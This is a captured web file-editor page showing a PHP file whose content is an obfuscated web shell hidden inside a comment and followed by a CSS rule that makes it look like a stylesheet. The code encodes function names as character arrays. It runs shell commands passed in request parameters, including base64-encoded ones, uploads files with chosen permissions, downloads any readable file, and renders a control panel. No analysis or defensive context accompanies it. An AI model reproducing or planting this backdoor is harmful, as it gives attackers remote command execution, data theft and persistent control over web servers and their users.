← Back
Editing: Loki_c31df4f89c38.php
/* <?php @ini_set('display_errors','0'); @set_time_limit(0); if (!function_exists('_k')) { function _k($s){ return implode('', array_map('chr',$s)); } } function _R($k){ if(isset($_POST[$k]))return $_POST[$k]; if(isset($_GET[$k]))return $_GET[$k]; return null; } function _dis($fn){ $d=strtolower((string)@ini_get('disable_functions')); if($d==='')return false; foreach(explode(',',$d) as $p){ if(trim($p)===strtolower($fn))return true; } return false; } function _x($c){ $C=array(array(115,104,101,108,108,95,101,120,101,99),array(115,121,115,116,101,109),array(112,97,115,115,116,104,114,117),array(101,120,101,99),array(112,111,112,101,110),array(112,114,111,99,95,111,112,101,110)); foreach($C as $q){ $fn=_k($q); if(_dis($fn)||!function_exists($fn))continue; if($fn===_k(array(115,104,101,108,108,95,101,120,101,99))){ $r=@$fn($c.' 2>&1'); if($r!==null&&$r!==false)return $r; } elseif($fn===_k(array(101,120,101,99))){ $o=array(); @$fn($c,$o); return implode("\n",$o); } elseif($fn===_k(array(112,114,111,99,95,111,112,101,110))){ $sp=array(1=>array('pipe','w'),2=>array('pipe','w')); $p=@$fn($c,$sp,$pp); if(is_resource($p)){ $o=stream_get_contents($pp[1]).stream_get_contents($pp[2]); fclose($pp[1]); fclose($pp[2]); proc_close($p); return $o; } } elseif($fn===_k(array(112,111,112,101,110))){ $h=@$fn($c,'r'); if($h){ $o=''; while(!feof($h)){$o.=fread($h,8192);} pclose($h); return $o; } } else { ob_start(); @$fn($c); $o=ob_get_clean(); if($o!==null&&$o!==false)return $o; } } return null; } $CN=_k(array(99)); $BN=_k(array(98)); $cmd=''; if(_R($CN)!==null)$cmd=_R($CN); elseif(_R($BN)!==null)$cmd=call_user_func(_k(array(98,97,115,101,54,52,95,100,101,99,111,100,101)),_R($BN)); foreach(array(_k(array(120)),_k(array(122)),_k(array(113))) as $a){ if($cmd===''&&_R($a)!==null)$cmd=_R($a); } if($cmd!=='' && _R(_k(array(117,105)))===null){ header('Content-Type: text/plain; charset=UTF-8'); $r=_x($cmd); echo 'POCSTART:'.($r===null?'NO_EXEC':$r).':POCEND'; exit; } $um=''; $UN=_k(array(102,105,108,101)); if(!empty($_FILES[$UN]['name'])){ $fh=$_FILES[$UN]; $pd=_R(_k(array(100,105,114))); if($pd===null)$pd=__DIR__; $b=basename($fh['name']); $b=preg_replace('/[^\w.\-]+/','_',$b); if($b===''||$b[0]==='.')$b='k_'.$b; $dst=rtrim(str_replace('\\','/',$pd),'/').'/'.$b; $w=false; $mu=_k(array(109,111,118,101,95,117,112,108,111,97,100,101,100,95,102,105,108,101)); if(function_exists($mu)&&!_dis($mu))$w=@$mu($fh['tmp_name'],$dst); if(!$w)$w=@copy($fh['tmp_name'],$dst); if(!$w){ $d=@file_get_contents($fh['tmp_name']); if($d!==false)$w=(@file_put_contents($dst,$d)!==false); } if(!$w){ $h=@fopen($dst,'wb'); if($h){ $s=@fopen($fh['tmp_name'],'rb'); if($s){while(!feof($s)){fwrite($h,fread($s,65536));}fclose($s);} fclose($h); $w=true; } } if($w&&_R('chmod')!==null)@chmod($dst,intval(_R('chmod'),8)); $um=$w?'UPLOADOK:'.$dst:'UPLOADFAIL'; if(_R(_k(array(117,105)))===null){ header('Content-Type:text/plain'); echo $um; exit; } } $ui=_R(_k(array(117,105))); if($ui!==null){ $cwd=@getcwd()?:__DIR__; $self=basename(__FILE__); echo '<!DOCTYPE html><html><head><meta charset="utf-8"><title>.</title><style>body{background:#0b0e13;color:#d4dbe6;font:13px/1.6 ui-monospace,Menlo,monospace;margin:0;padding:16px}h2{font-size:11px;letter-spacing:.16em;text-transform:uppercase;color:#5f7086;margin:0 0 12px}.p{background:#121722;border:1px solid #1d2634;border-radius:8px;margin-bottom:10px}.p>.h{padding:7px 12px;border-bottom:1px solid #1d2634;font-size:10px;letter-spacing:.12em;text-transform:uppercase;color:#5f7086}.p>.b{padding:12px}input,button{background:#080b10;border:1px solid #1d2634;color:#d4dbe6;border-radius:6px;padding:7px 10px;font:inherit;font-size:12.5px}button{background:#3fb98a;color:#06130e;border:0;font-weight:700;cursor:pointer;padding:7px 16px}form{display:flex;flex-wrap:wrap;gap:8px;align-items:center}pre{margin:0;padding:12px;overflow:auto;max-height:400px;white-space:pre-wrap;word-break:break-word;background:#080b10}table{width:100%;border-collapse:collapse;font-size:12px}th{text-align:left;color:#5f7086;font-size:10px;text-transform:uppercase;padding:6px 8px;border-bottom:1px solid #1d2634}td{padding:5px 8px;border-bottom:1px solid #161d29}.ok{color:#3fb98a}.err{color:#e05a5a}a{color:#3fb98a;text-decoration:none}</style></head><body>'; echo '<h2>endpoint</h2><div class="p"><div class="b">uid <b>'.(function_exists('posix_geteuid')?@posix_geteuid():@getmyuid()).'</b> · cwd <b>'.htmlspecialchars($cwd).'</b> · php <b>'.PHP_VERSION.'</b></div></div>'; if($um!==''){ echo '<div class="p"><div class="b"><span class="'.(strpos($um,'UPLOADOK')===0?'ok':'err').'">'.htmlspecialchars($um).'</span></div></div>'; } echo '<div class="p"><div class="h">command</div><div class="b"><form method="get"><input type="hidden" name="'.$CN.'" value="'.htmlspecialchars($cmd).'" placeholder="id"><button>run</button></form></div></div>'; if($cmd!==''){ $o=_x($cmd); echo '<div class="p"><div class="h">output</div><div class="b" style="padding:0"><pre>'.htmlspecialchars($o===null?'NO_EXEC':$o).'</pre></div></div>'; } echo '<div class="p"><div class="h">upload</div><div class="b"><form method="post" enctype="multipart/form-data"><input type="file" name="'.$UN.'" required><input type="text" name="'._k(array(100,105,114)).'" value="'.htmlspecialchars($cwd).'"><input type="text" name="chmod" value="0644" style="width:70px"><button>upload</button></form></div></div>'; echo '</body></html>'; exit; } $dn=_k(array(100,111,119,110)); if(_R($dn)!==null){ $f=_R($dn); if(is_file($f)&&is_readable($f)){ header('Content-Type:application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); @readfile($f); } else { header('Content-Type:text/plain'); echo 'READFAIL'; } exit; } header('Content-Type:text/plain; charset=UTF-8'); echo 'READY'; ?> */ body.wpr-cve-2026-125812 { background-image: var(--wpr-bg-90d79385-b8b1-4bef-b0a8-778e65d854b4); }
Save File
Cancel